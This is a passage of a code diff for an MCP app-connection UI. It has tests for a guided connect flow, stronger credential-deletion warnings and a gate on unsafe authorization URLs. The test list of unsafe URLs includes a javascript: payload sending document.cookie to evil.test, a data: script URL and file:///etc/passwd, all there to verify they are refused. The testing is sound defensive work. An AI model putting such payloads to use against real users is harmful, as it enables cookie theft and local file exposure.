const [, input] = connectAppMock.mock.calls[0];
|
||||
expect(input).toMatchObject({ galleryKey: "zapier", name: "Zapier" });
|
||||
});
|
||||
|
|
@ -1015,3 +1069,443 @@ describe("AppsConnect — Connect with a link (M4 frame)", () => {
|
|||
});
|
||||
});
|
||||
});
|
||||
|
||||
/**
|
||||
* PAP-17087 — the BYO URL card is now the guided universal flow. What matters is
|
||||
* that the simple path stayed simple, that each failure mode names the thing the
|
||||
* operator has to change, and that a pasted endpoint that needs sign-in actually
|
||||
* gets there instead of a "coming soon" toast.
|
||||
*/
|
||||
describe("AppsConnect — guided generic MCP flow (PAP-17087)", () => {
|
||||
let container: HTMLDivElement;
|
||||
|
||||
beforeEach(() => {
|
||||
mockSearch.value = "";
|
||||
mockParams.appKey = undefined;
|
||||
container = document.createElement("div");
|
||||
document.body.appendChild(container);
|
||||
listGalleryMock.mockResolvedValue({ apps: [ZAPIER] });
|
||||
listApplicationsMock.mockResolvedValue({ applications: [] });
|
||||
listConnectionsMock.mockResolvedValue({ connections: [] });
|
||||
listAgentsMock.mockResolvedValue([]);
|
||||
finishAppMock.mockResolvedValue({});
|
||||
putConnectionInstallsMock.mockResolvedValue({ connectionId: "conn-1", installs: [] });
|
||||
startOAuthMock.mockResolvedValue({
|
||||
connectionId: "conn-1",
|
||||
provider: "mcp_example_test",
|
||||
authorizationUrl: "https://auth.example.test/authorize?state=abc",
|
||||
expiresAt: "2099-01-01T00:00:00.000Z",
|
||||
});
|
||||
connectAppMock.mockResolvedValue({
|
||||
connectionId: "conn-1",
|
||||
application: { id: "app-1", name: "mcp.example.test" },
|
||||
actions: { readOnly: [], canMakeChanges: [] },
|
||||
catalog: [],
|
||||
suggestedDefaults: {},
|
||||
});
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
document.body.removeChild(container);
|
||||
document.body.innerHTML = "";
|
||||
vi.clearAllMocks();
|
||||
});
|
||||
|
||||
async function render() {
|
||||
const root = createRoot(container);
|
||||
const client = new QueryClient({ defaultOptions: { queries: { retry: false } } });
|
||||
await act(async () => {
|
||||
root.render(
|
||||
<QueryClientProvider client={client}>
|
||||
<AppsConnect />
|
||||
</QueryClientProvider>,
|
||||
);
|
||||
});
|
||||
await flushReact();
|
||||
await flushReact();
|
||||
return root;
|
||||
}
|
||||
|
||||
async function openAdvanced() {
|
||||
await act(async () => {
|
||||
buttonContaining("Advanced authentication")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||||
});
|
||||
await flushReact();
|
||||
}
|
||||
|
||||
// Production branches on `error instanceof ApiError`, so the double has to be a
|
||||
// real one — a look-alike would silently fall through to the generic message and
|
||||
// make these tests pass for the wrong reason.
|
||||
function apiError(status: number, code: string, message: string) {
|
||||
return new ApiError(message, status, { error: message, details: { code } });
|
||||
}
|
||||
|
||||
it("defaults the connection name from host, port, and path", async () => {
|
||||
await render();
|
||||
await gotoLinkFrame(container, "http://127.0.0.1:47399/mcp");
|
||||
|
||||
expect(container.querySelector<HTMLInputElement>("#generic-mcp-name")?.value)
|
||||
.toBe("127.0.0.1:47399/mcp");
|
||||
});
|
||||
|
||||
it("keeps the endpoint host visible while skipping action review", async () => {
|
||||
await render();
|
||||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||||
|
||||
expect(container.textContent).toContain("Unverified server");
|
||||
expect(container.textContent).toContain("mcp.example.test");
|
||||
|
||||
connectAppMock.mockResolvedValue({
|
||||
connectionId: "conn-1",
|
||||
application: { id: "app-1", name: "mcp.example.test" },
|
||||
actions: {
|
||||
readOnly: [{
|
||||
catalogEntryId: "cat-read",
|
||||
toolName: "list_things",
|
||||
title: "List things",
|
||||
description: null,
|
||||
riskLevel: "read",
|
||||
isReadOnly: true,
|
||||
isWrite: false,
|
||||
isDestructive: false,
|
||||
status: "active",
|
||||
}, {
|
||||
catalogEntryId: "cat-search",
|
||||
toolName: "search_things",
|
||||
title: "Search things",
|
||||
description: null,
|
||||
riskLevel: "read",
|
||||
isReadOnly: true,
|
||||
isWrite: false,
|
||||
isDestructive: false,
|
||||
status: "active",
|
||||
}],
|
||||
canMakeChanges: [{
|
||||
catalogEntryId: "cat-delete",
|
||||
toolName: "qa_delete_widget",
|
||||
title: null,
|
||||
description: null,
|
||||
riskLevel: "destructive",
|
||||
isReadOnly: false,
|
||||
isWrite: true,
|
||||
isDestructive: true,
|
||||
status: "active",
|
||||
}],
|
||||
},
|
||||
catalog: [],
|
||||
suggestedDefaults: { askFirstRiskLevels: ["write", "destructive"] },
|
||||
});
|
||||
await act(async () => {
|
||||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||||
});
|
||||
await flushReact();
|
||||
|
||||
expect(container.textContent).toContain("Who can use mcp.example.test?");
|
||||
expect(container.textContent).toContain("Unverified server");
|
||||
expect(container.textContent).toContain("mcp.example.test");
|
||||
expect(container.textContent).not.toContain("List things");
|
||||
expect(container.querySelectorAll('[role="switch"]')).toHaveLength(0);
|
||||
});
|
||||
|
||||
it("offers a curated setup as a convenience without leaving the generic flow", async () => {
|
||||
await render();
|
||||
await gotoLinkFrame(container, "https://mcp.zapier.com/api/v1/connect?token=t");
|
||||
|
||||
// Both routes are present: the branded shortcut and the generic form itself.
|
||||
expect(container.textContent).toContain("Paperclip has a guided setup for Zapier.");
|
||||
expect(container.textContent).toContain("Connect your own MCP server");
|
||||
expect(buttonByText("Check link")).toBeTruthy();
|
||||
});
|
||||
|
||||
it("explains a private-network address instead of blaming the key", async () => {
|
||||
connectAppMock.mockRejectedValue(
|
||||
apiError(400, "remote_http_private_endpoint", "Remote MCP connection URL cannot target private or reserved network addresses"),
|
||||
);
|
||||
await render();
|
||||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||||
await act(async () => {
|
||||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||||
});
|
||||
await flushReact();
|
||||
await flushReact();
|
||||
|
||||
expect(container.textContent).toContain("That address is inside a private network");
|
||||
// Still on the setup screen with the address in hand, not bounced back.
|
||||
expect(buttonByText("Check link")).toBeTruthy();
|
||||
});
|
||||
|
||||
it("explains an unreachable host", async () => {
|
||||
connectAppMock.mockRejectedValue(apiError(400, "remote_http_dns_failed", "hostname could not be resolved"));
|
||||
await render();
|
||||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||||
await act(async () => {
|
||||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||||
});
|
||||
await flushReact();
|
||||
await flushReact();
|
||||
|
||||
expect(container.textContent).toContain("We couldn't find that host");
|
||||
});
|
||||
|
||||
it("uses deployment guidance without rendering the server env-var message", async () => {
|
||||
connectAppMock.mockRejectedValue(apiError(
|
||||
422,
|
||||
"oauth_redirect_origin_unsupported",
|
||||
"OAuth connections require PAPERCLIP_PUBLIC_URL or an auth public base URL",
|
||||
));
|
||||
await render();
|
||||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||||
await act(async () => {
|
||||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||||
});
|
||||
await flushReact();
|
||||
await flushReact();
|
||||
|
||||
expect(container.textContent).toContain("This Paperclip needs a public HTTPS address first");
|
||||
expect(container.textContent).not.toContain("PAPERCLIP_PUBLIC_URL");
|
||||
});
|
||||
|
||||
it("renders a name conflict as name guidance and focuses the Name field", async () => {
|
||||
connectAppMock.mockRejectedValue(apiError(
|
||||
409,
|
||||
"tool_access_name_conflict",
|
||||
"A tool access record with that name already exists",
|
||||
));
|
||||
await render();
|
||||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||||
await act(async () => {
|
||||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||||
});
|
||||
await flushReact();
|
||||
await flushReact();
|
||||
|
||||
const nameInput = container.querySelector<HTMLInputElement>("#generic-mcp-name");
|
||||
expect(container.textContent).toContain("That name is taken");
|
||||
expect(document.activeElement).toBe(nameInput);
|
||||
});
|
||||
|
||||
it("opens advanced authentication when the server wants a credential we can't discover", async () => {
|
||||
connectAppMock.mockRejectedValue(apiError(502, "oauth_challenge", "This app needs you to sign in."));
|
||||
await render();
|
||||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||||
await act(async () => {
|
||||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||||
});
|
||||
await flushReact();
|
||||
await flushReact();
|
||||
|
||||
expect(container.textContent).toContain("This server wants a credential");
|
||||
// The advanced section is now open, so the fields to fix it are on screen.
|
||||
expect(container.textContent).toContain("Custom headers");
|
||||
expect(container.textContent).not.toContain("coming soon");
|
||||
});
|
||||
|
||||
it("sends the operator to sign-in when the endpoint needs browser authorization", async () => {
|
||||
connectAppMock.mockResolvedValue({
|
||||
connectionId: "conn-1",
|
||||
application: { id: "app-1", name: "mcp.example.test" },
|
||||
actions: { readOnly: [], canMakeChanges: [] },
|
||||
catalog: [],
|
||||
suggestedDefaults: {},
|
||||
auth: { kind: "oauth", startUrl: "https://auth.example.test/authorize?state=abc" },
|
||||
});
|
||||
await render();
|
||||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||||
await act(async () => {
|
||||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||||
});
|
||||
await flushReact();
|
||||
|
||||
expect(navigateTopLevelMock).toHaveBeenCalledWith("https://auth.example.test/authorize?state=abc");
|
||||
// Residual risk of a real-but-hostile authorization page: name the host the
|
||||
// operator is being handed to (PAP-17099).
|
||||
expect(container.textContent).toContain("auth.example.test");
|
||||
});
|
||||
|
||||
/**
|
||||
* PAP-17099 — a generic MCP server picks its own authorization endpoint, and
|
||||
* `window.location.assign` is where an unsafe scheme would actually execute.
|
||||
* The board refuses independently of the API response.
|
||||
*/
|
||||
describe("unsafe authorization urls", () => {
|
||||
const UNSAFE = [
|
||||
["javascript:", "javascript:fetch('https://evil.test/'+document.cookie)"],
|
||||
["data:", "data:text/html,<script>alert(document.domain)</script>"],
|
||||
["file:", "file:///etc/passwd"],
|
||||
["plaintext http", "http://evil.test/authorize"],
|
||||
["credentials", "https://auth.example.test@evil.test/authorize"],
|
||||
] as const;
|
||||
|
||||
it.each(UNSAFE)("never opens a %s start url from connect", async (_label, startUrl) => {
|
||||
connectAppMock.mockResolvedValue({
|
||||
connectionId: "conn-1",
|
||||
application: { id: "app-1", name: "mcp.example.test" },
|
||||
actions: { readOnly: [], canMakeChanges: [] },
|
||||
catalog: [],
|
||||
suggestedDefaults: {},
|
||||
auth: { kind: "oauth", startUrl },
|
||||
});
|
||||
await render();
|
||||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||||
await act(async () => {
|
||||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||||
});
|
||||
await flushReact();
|
||||
await flushReact();
|
||||
|
||||
expect(navigateTopLevelMock).not.toHaveBeenCalled();
|
||||
expect(container.textContent).toContain("couldn’t connect");
|
||||
// The refusal is explained without echoing the hostile address on screen.
|
||||
expect(container.textContent).not.toContain(startUrl);
|
||||
expect(container.textContent).toMatch(/sign-in address/);
|
||||
});
|
||||
|
||||
it.each(UNSAFE)("never opens a %s authorization url from start sign-in", async (_label, authorizationUrl) => {
|
||||
connectAppMock.mockResolvedValue({
|
||||
connectionId: "conn-1",
|
||||
application: { id: "app-1", name: "mcp.example.test" },
|
||||
actions: { readOnly: [], canMakeChanges: [] },
|
||||
catalog: [],
|
||||
suggestedDefaults: {},
|
||||
auth: { kind: "oauth", startUrl: null },
|
||||
});
|
||||
startOAuthMock.mockResolvedValue({
|
||||
connectionId: "conn-1",
|
||||
provider: "mcp_example_test",
|
||||
authorizationUrl,
|
||||
expiresAt: "2099-01-01T00:00:00.000Z",
|
||||
});
|
||||
await render();
|
||||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||||
await act(async () => {
|
||||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||||
});
|
||||
await flushReact();
|
||||
await flushReact();
|
||||
|
||||
expect(startOAuthMock).toHaveBeenCalledWith("conn-1");
|
||||
expect(navigateTopLevelMock).not.toHaveBeenCalled();
|
||||
expect(container.textContent).toContain("couldn’t connect");
|
||||
expect(container.textContent).not.toContain(authorizationUrl);
|
||||
// Retry is still offered rather than a dead end.
|
||||
expect(buttonByText("Try again")).toBeTruthy();
|
||||
});
|
||||
});
|
||||
|
||||
it("asks for a preregistered client rather than losing the draft", async () => {
|
||||
connectAppMock.mockResolvedValue({
|
||||
connectionId: "conn-1",
|
||||
application: { id: "app-1", name: "mcp.example.test" },
|
||||
actions: { readOnly: [], canMakeChanges: [] },
|
||||
catalog: [],
|
||||
suggestedDefaults: {},
|
||||
auth: { kind: "oauth", startUrl: null, manualClientRequired: true },
|
||||
});
|
||||
await render();
|
||||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||||
await act(async () => {
|
||||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||||
});
|
||||
await flushReact();
|
||||
await flushReact();
|
||||
|
||||
expect(container.textContent).toContain("This server needs sign-in details you create yourself");
|
||||
expect(container.textContent).toContain("Client ID");
|
||||
expect(container.textContent).toContain("Client secret");
|
||||
// No redirect happened: there is nothing to redirect to yet.
|
||||
expect(navigateTopLevelMock).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("submits custom headers as secret-backed credential values", async () => {
|
||||
await render();
|
||||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||||
await openAdvanced();
|
||||
await act(async () => {
|
||||
buttonByText("Custom headers")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||||
});
|
||||
await flushReact();
|
||||
|
||||
const nameInput = Array.from(container.querySelectorAll<HTMLInputElement>("input"))
|
||||
.find((input) => input.getAttribute("aria-label") === "Header name")!;
|
||||
await act(async () => setInputValue(nameInput, "X-Api-Key"));
|
||||
await flushReact();
|
||||
const valueInput = Array.from(container.querySelectorAll<HTMLInputElement>("input"))
|
||||
.find((input) => input.type === "password")!;
|
||||
await act(async () => setInputValue(valueInput, "phx_secret"));
|
||||
await flushReact();
|
||||
|
||||
await act(async () => {
|
||||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||||
});
|
||||
await flushReact();
|
||||
|
||||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||||
const [, input] = connectAppMock.mock.calls[0];
|
||||
expect(input).toMatchObject({
|
||||
link: "https://mcp.example.test/mcp",
|
||||
authMode: "custom_headers",
|
||||
credentialValues: { "headers.X-Api-Key": "phx_secret" },
|
||||
});
|
||||
});
|
||||
|
||||
it("blocks a header Paperclip refuses to send before making a request", async () => {
|
||||
await render();
|
||||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||||
await openAdvanced();
|
||||
await act(async () => {
|
||||
buttonByText("Custom headers")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||||
});
|
||||
await flushReact();
|
||||
|
||||
const nameInput = Array.from(container.querySelectorAll<HTMLInputElement>("input"))
|
||||
.find((input) => input.getAttribute("aria-label") === "Header name")!;
|
||||
await act(async () => setInputValue(nameInput, "Host"));
|
||||
await flushReact();
|
||||
const valueInput = Array.from(container.querySelectorAll<HTMLInputElement>("input"))
|
||||
.find((input) => input.type === "password")!;
|
||||
await act(async () => setInputValue(valueInput, "evil.example"));
|
||||
await flushReact();
|
||||
|
||||
expect(container.textContent).toContain('Paperclip manages the "Host" header');
|
||||
expect(buttonByText("Check link")?.disabled).toBe(true);
|
||||
expect(connectAppMock).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("sends preregistered client credentials when the operator supplies them", async () => {
|
||||
await render();
|
||||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||||
await openAdvanced();
|
||||
await act(async () => {
|
||||
buttonByText("Browser sign-in")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||||
});
|
||||
await flushReact();
|
||||
|
||||
const clientIdInput = container.querySelector<HTMLInputElement>("#generic-mcp-client-id")!;
|
||||
await act(async () => setInputValue(clientIdInput, "operator-client"));
|
||||
await flushReact();
|
||||
const clientSecretInput = container.querySelector<HTMLInputElement>("#generic-mcp-client-secret")!;
|
||||
await act(async () => setInputValue(clientSecretInput, "operator-secret"));
|
||||
await flushReact();
|
||||
|
||||
await act(async () => {
|
||||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||||
});
|
||||
await flushReact();
|
||||
|
||||
const [, input] = connectAppMock.mock.calls[0];
|
||||
expect(input).toMatchObject({
|
||||
authMode: "oauth",
|
||||
oauthClient: { clientId: "operator-client", clientSecret: "operator-secret" },
|
||||
});
|
||||
});
|
||||
|
||||
it("keeps protocol jargon off the consumer path", async () => {
|
||||
await render();
|
||||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||||
await openAdvanced();
|
||||
|
||||
for (const jargon of ["DCR", "Dynamic Client Registration", "CIMD", "Client ID Metadata", "RFC", "PKCE"]) {
|
||||
expect(container.textContent, jargon).not.toContain(jargon);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
|
|
|||
File diff suppressed because it is too large
Load Diff
|
|
@ -29,6 +29,7 @@ function connectHrefFor(entry: AppGalleryDisplayEntry): string | null {
|
|||
const slug = appDefinitionSlug(entry);
|
||||
if (slug === "notion") return NOTION_CONNECT_HREF;
|
||||
if (slug === "zapier") return ZAPIER_CONNECT_HREF;
|
||||
if (slug === "posthog") return "/apps/connect?byo=1&appKey=posthog&stage=setup";
|
||||
return null;
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -368,7 +368,7 @@ describe("Connections table (M1b / PAP-13254 door 2)", () => {
|
|||
expect(pushToastMock).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
title: "Connection deleted",
|
||||
body: "GitHub is no longer available to agents. You can connect it again later.",
|
||||
body: "GitHub is no longer available to agents and its credentials are deleted. Connecting it again needs a new sign-in or key.",
|
||||
tone: "success",
|
||||
}),
|
||||
);
|
||||
|
|
@ -442,7 +442,10 @@ describe("Connections table (M1b / PAP-13254 door 2)", () => {
|
|||
deleteButton?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||||
});
|
||||
|
||||
expect(document.body.textContent).toContain("Agents will lose access immediately.");
|
||||
expect(document.body.textContent).toContain(
|
||||
"The saved credentials are deleted and agents lose access immediately.",
|
||||
);
|
||||
expect(document.body.textContent).toContain("needs a new sign-in or key");
|
||||
expect(document.body.textContent).not.toContain("Agents can still use GitHub");
|
||||
|
||||
const confirmButton = Array.from(document.body.querySelectorAll("button")).find(
|
||||
|
|
@ -455,7 +458,7 @@ describe("Connections table (M1b / PAP-13254 door 2)", () => {
|
|||
|
||||
expect(pushToastMock).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
body: "GitHub is no longer available to agents. You can connect it again later.",
|
||||
body: "GitHub is no longer available to agents and its credentials are deleted. Connecting it again needs a new sign-in or key.",
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
|
|
|||
|
|
@ -149,7 +149,7 @@ export function Connections() {
|
|||
title: "Connection deleted",
|
||||
body: target.remainingConnectionCount > 0
|
||||
? `${target.appName} still has ${target.remainingConnectionCount} active ${target.remainingConnectionCount === 1 ? "connection" : "connections"} available to agents.`
|
||||
: `${target.appName} is no longer available to agents. You can connect it again later.`,
|
||||
: `${target.appName} is no longer available to agents and its credentials are deleted. Connecting it again needs a new sign-in or key.`,
|
||||
tone: "success",
|
||||
});
|
||||
setConnectionToDelete(null);
|
||||
|
|
@ -456,8 +456,8 @@ export function Connections() {
|
|||
</AlertDialogTitle>
|
||||
<AlertDialogDescription>
|
||||
{connectionToDelete && connectionToDelete.remainingConnectionCount > 0
|
||||
? `This connection will be removed. Agents can still use ${connectionToDelete.appName} through ${connectionToDelete.remainingConnectionCount} other active ${connectionToDelete.remainingConnectionCount === 1 ? "connection" : "connections"}.`
|
||||
: "Agents will lose access immediately. You can connect it again later."}
|
||||
? `This connection's saved credentials are deleted and agents lose access through it immediately. Agents can still use ${connectionToDelete.appName} through ${connectionToDelete.remainingConnectionCount} other active ${connectionToDelete.remainingConnectionCount === 1 ? "connection" : "connections"}.`
|
||||
: "The saved credentials are deleted and agents lose access immediately. Connecting it again later needs a new sign-in or key."}
|
||||
</AlertDialogDescription>
|
||||
</AlertDialogHeader>
|
||||
<AlertDialogFooter>
|
||||
|
|
|
|||
|
|
@ -26,10 +26,12 @@ export function ReviewQueueCard({
|
|||
connectionId,
|
||||
emptyState = "hidden",
|
||||
heading = "Waiting for your OK",
|
||||
plain = false,
|
||||
}: {
|
||||
connectionId?: string;
|
||||
emptyState?: "hidden" | "reassure";
|
||||
heading?: string;
|
||||
plain?: boolean;
|
||||
}) {
|
||||
const { selectedCompanyId } = useCompany();
|
||||
|
||||
|
|
@ -51,7 +53,7 @@ export function ReviewQueueCard({
|
|||
if (items.length === 0) {
|
||||
if (emptyState === "hidden") return null;
|
||||
return (
|
||||
<div className="rounded-xl border border-border bg-card p-5 text-sm text-muted-foreground">
|
||||
<div className={plain ? "py-5 text-sm text-muted-foreground" : "rounded-xl border border-border bg-card p-5 text-sm text-muted-foreground"}>
|
||||
Nothing is waiting for your OK right now.
|
||||
</div>
|
||||
);
|
||||
|
|
@ -68,14 +70,22 @@ export function ReviewQueueCard({
|
|||
</div>
|
||||
<div className="space-y-3">
|
||||
{items.map((item) => (
|
||||
<ReviewRow key={item.request.id} companyId={selectedCompanyId} item={item} />
|
||||
<ReviewRow key={item.request.id} companyId={selectedCompanyId} item={item} plain={plain} />
|
||||
))}
|
||||
</div>
|
||||
</section>
|
||||
);
|
||||
}
|
||||
|
||||
function ReviewRow({ companyId, item }: { companyId: string; item: ToolActionRequestListItem }) {
|
||||
function ReviewRow({
|
||||
companyId,
|
||||
item,
|
||||
plain,
|
||||
}: {
|
||||
companyId: string;
|
||||
item: ToolActionRequestListItem;
|
||||
plain: boolean;
|
||||
}) {
|
||||
const queryClient = useQueryClient();
|
||||
const { pushToast } = useToast();
|
||||
const [resolving, setResolving] = useState<null | "allow" | "always" | "decline">(null);
|
||||
|
|
@ -140,7 +150,7 @@ function ReviewRow({ companyId, item }: { companyId: string; item: ToolActionReq
|
|||
const preview = item.request.previewMarkdown?.trim();
|
||||
|
||||
return (
|
||||
<div className="rounded-xl border border-amber-500/40 bg-amber-500/[0.07] p-4">
|
||||
<div className={plain ? "py-3" : "rounded-xl border border-amber-500/40 bg-amber-500/[0.07] p-4"}>
|
||||
<div className="flex flex-wrap items-baseline gap-x-2 gap-y-1 text-sm">
|
||||
<span className="font-bold text-foreground">{actionLabel(item)}</span>
|
||||
{item.applicationName && (
|
||||
|
|
|
|||
|
|
@ -0,0 +1,14 @@
|
|||
import { ShieldAlert } from "lucide-react";
|
||||
import { cn } from "@/lib/utils";
|
||||
|
||||
export function UnverifiedServerBadge({ host, className }: { host: string | null; className?: string }) {
|
||||
return (
|
||||
<div className={cn("flex flex-wrap items-center gap-2 text-xs", className)}>
|
||||
<span className="inline-flex items-center gap-1 rounded-full border border-amber-500/40 bg-amber-500/10 px-2 py-0.5 font-medium text-amber-700 dark:text-amber-400">
|
||||
<ShieldAlert className="h-3 w-3" />
|
||||
Unverified server
|
||||
</span>
|
||||
{host ? <span className="font-mono text-muted-foreground">{host}</span> : null}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
|
@ -31,6 +31,12 @@ export function appApplicationSourceSlug(application: ToolApplication | null | u
|
|||
const key = application.applicationKey?.trim();
|
||||
if (!key) return null;
|
||||
const galleryPrefix = "app-gallery:";
|
||||
if (key.startsWith(galleryPrefix)) return key.slice(galleryPrefix.length).split(":")[0] || null;
|
||||
if (key.startsWith(galleryPrefix)) {
|
||||
const slug = key.slice(galleryPrefix.length).split(":")[0] || null;
|
||||
// Curated apps deliberately group multiple accounts by provider. Generic
|
||||
// URL apps use `link` only as a synthetic key, so grouping on it would make
|
||||
// every unrelated MCP server in the company look like the same app.
|
||||
return slug === "link" ? null : slug;
|
||||
}
|
||||
return key;
|
||||
}
|
||||
|
|
|
|||
|
|
@ -0,0 +1,59 @@
|
|||
// @vitest-environment jsdom
|
||||
|
||||
import { flushSync } from "react-dom";
|
||||
import { createRoot } from "react-dom/client";
|
||||
import { afterEach, describe, expect, it, vi } from "vitest";
|
||||
import { DangerZone } from "./AdvancedPanel";
|
||||
|
||||
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
||||
(globalThis as any).IS_REACT_ACT_ENVIRONMENT = true;
|
||||
|
||||
function act(callback: () => void) {
|
||||
flushSync(callback);
|
||||
}
|
||||
|
||||
let container: HTMLDivElement | null = null;
|
||||
|
||||
afterEach(() => {
|
||||
container?.remove();
|
||||
container = null;
|
||||
});
|
||||
|
||||
function renderDangerZone() {
|
||||
container = document.createElement("div");
|
||||
document.body.appendChild(container);
|
||||
const root = createRoot(container);
|
||||
act(() => root.render(<DangerZone appName="PostHog" removing={false} onRemove={vi.fn()} />));
|
||||
return container;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove app deletes the operator's credentials and revokes agent access
|
||||
* (PAP-17119). The confirmation has to say so before the operator commits — a
|
||||
* "you can connect it again later" reassurance implies the pasted key survives,
|
||||
* so these assertions exist to stop that copy coming back.
|
||||
*/
|
||||
describe("DangerZone", () => {
|
||||
it("promises credential deletion and re-authentication before the operator confirms", () => {
|
||||
const text = renderDangerZone().textContent ?? "";
|
||||
|
||||
expect(text).toContain("Deletes the saved credentials for PostHog");
|
||||
expect(text).toContain("takes agent access away right away");
|
||||
expect(text).toContain("needs a new sign-in or key");
|
||||
expect(text).not.toContain("You can connect it again later");
|
||||
});
|
||||
|
||||
it("keeps the warning visible in the confirming state", () => {
|
||||
const node = renderDangerZone();
|
||||
const trigger = Array.from(node.querySelectorAll("button"))
|
||||
.find((button) => button.textContent?.trim() === "Remove app");
|
||||
expect(trigger).toBeTruthy();
|
||||
|
||||
act(() => trigger!.dispatchEvent(new MouseEvent("click", { bubbles: true })));
|
||||
|
||||
const text = node.textContent ?? "";
|
||||
expect(text).toContain("Yes, remove it");
|
||||
expect(text).toContain("Deletes the saved credentials for PostHog");
|
||||
expect(text).toContain("needs a new sign-in or key");
|
||||
});
|
||||
});
|
||||
|
|
@ -8,6 +8,7 @@ import { Button } from "@/components/ui/button";
|
|||
import { Input } from "@/components/ui/input";
|
||||
import { useToast } from "@/context/ToastContext";
|
||||
import { redactUrlSecrets } from "@/lib/redact-url-secrets";
|
||||
import { resolveAuthorizationTarget } from "@/lib/authorizationUrl";
|
||||
import { navigateTopLevel } from "@/lib/browserNavigation";
|
||||
import type { AppDetailSectionProps } from "./types";
|
||||
|
||||
|
|
@ -43,8 +44,8 @@ function KeySection({
|
|||
}) {
|
||||
const [open, setOpen] = useState(false);
|
||||
return (
|
||||
<section className="rounded-xl border border-border bg-card">
|
||||
<div className="flex items-center justify-between px-5 py-4">
|
||||
<section>
|
||||
<div className="flex items-center justify-between">
|
||||
<div className="flex items-start gap-3">
|
||||
<Lock className="mt-0.5 h-4 w-4 text-muted-foreground" />
|
||||
<div>
|
||||
|
|
@ -61,7 +62,7 @@ function KeySection({
|
|||
)}
|
||||
</div>
|
||||
{open && (
|
||||
<div className="border-t border-border px-5 py-4">
|
||||
<div className="pt-4">
|
||||
<ReconnectForm
|
||||
connection={connection}
|
||||
galleryEntry={galleryEntry}
|
||||
|
|
@ -89,7 +90,16 @@ export function ReconnectCard({
|
|||
const { pushToast } = useToast();
|
||||
const reconnectOAuth = useMutation({
|
||||
mutationFn: () => toolsApi.startOAuth(connection.id),
|
||||
onSuccess: ({ authorizationUrl }) => navigateTopLevel(authorizationUrl),
|
||||
onSuccess: ({ authorizationUrl }) => {
|
||||
// Reconnect navigates to the same discovered address a fresh connect does,
|
||||
// so it goes through the same gate (PAP-17099).
|
||||
const target = resolveAuthorizationTarget(authorizationUrl);
|
||||
if (!target.ok) {
|
||||
pushToast({ title: "Couldn’t start sign-in", body: target.message, tone: "error" });
|
||||
return;
|
||||
}
|
||||
navigateTopLevel(target.url);
|
||||
},
|
||||
onError: (error) =>
|
||||
pushToast({
|
||||
title: "Couldn’t start sign-in",
|
||||
|
|
@ -140,8 +150,11 @@ function ReconnectForm({
|
|||
onReconnected: () => void;
|
||||
}) {
|
||||
const { pushToast } = useToast();
|
||||
const methodKey = typeof connection.config?.connectionMethodKey === "string"
|
||||
? connection.config.connectionMethodKey
|
||||
: null;
|
||||
const method = galleryEntry && Array.isArray(galleryEntry.methods)
|
||||
? getAvailableConnectionMethod(galleryEntry)
|
||||
? getAvailableConnectionMethod(galleryEntry, methodKey)
|
||||
: null;
|
||||
const fields = (method?.credentialFields ?? []).map((field) => ({
|
||||
...field,
|
||||
|
|
@ -242,7 +255,7 @@ function ReconnectForm({
|
|||
|
||||
function TechnicalDetails({ connection }: { connection: ToolConnection }) {
|
||||
return (
|
||||
<section className="rounded-xl border border-border bg-card px-5 py-4">
|
||||
<section>
|
||||
<h2 className="text-sm font-bold text-foreground">Technical details</h2>
|
||||
<dl className="mt-3 grid gap-2 text-xs sm:grid-cols-(--gtc-59)">
|
||||
<dt className="text-muted-foreground">Address</dt>
|
||||
|
|
@ -265,15 +278,16 @@ export function DangerZone({
|
|||
}) {
|
||||
const [confirming, setConfirming] = useState(false);
|
||||
return (
|
||||
<section className="rounded-xl border border-destructive/40 bg-card">
|
||||
<div className="border-b border-destructive/40 px-5 py-3 text-sm font-bold text-destructive">
|
||||
<section className="space-y-3">
|
||||
<div className="text-sm font-bold text-destructive">
|
||||
Danger zone
|
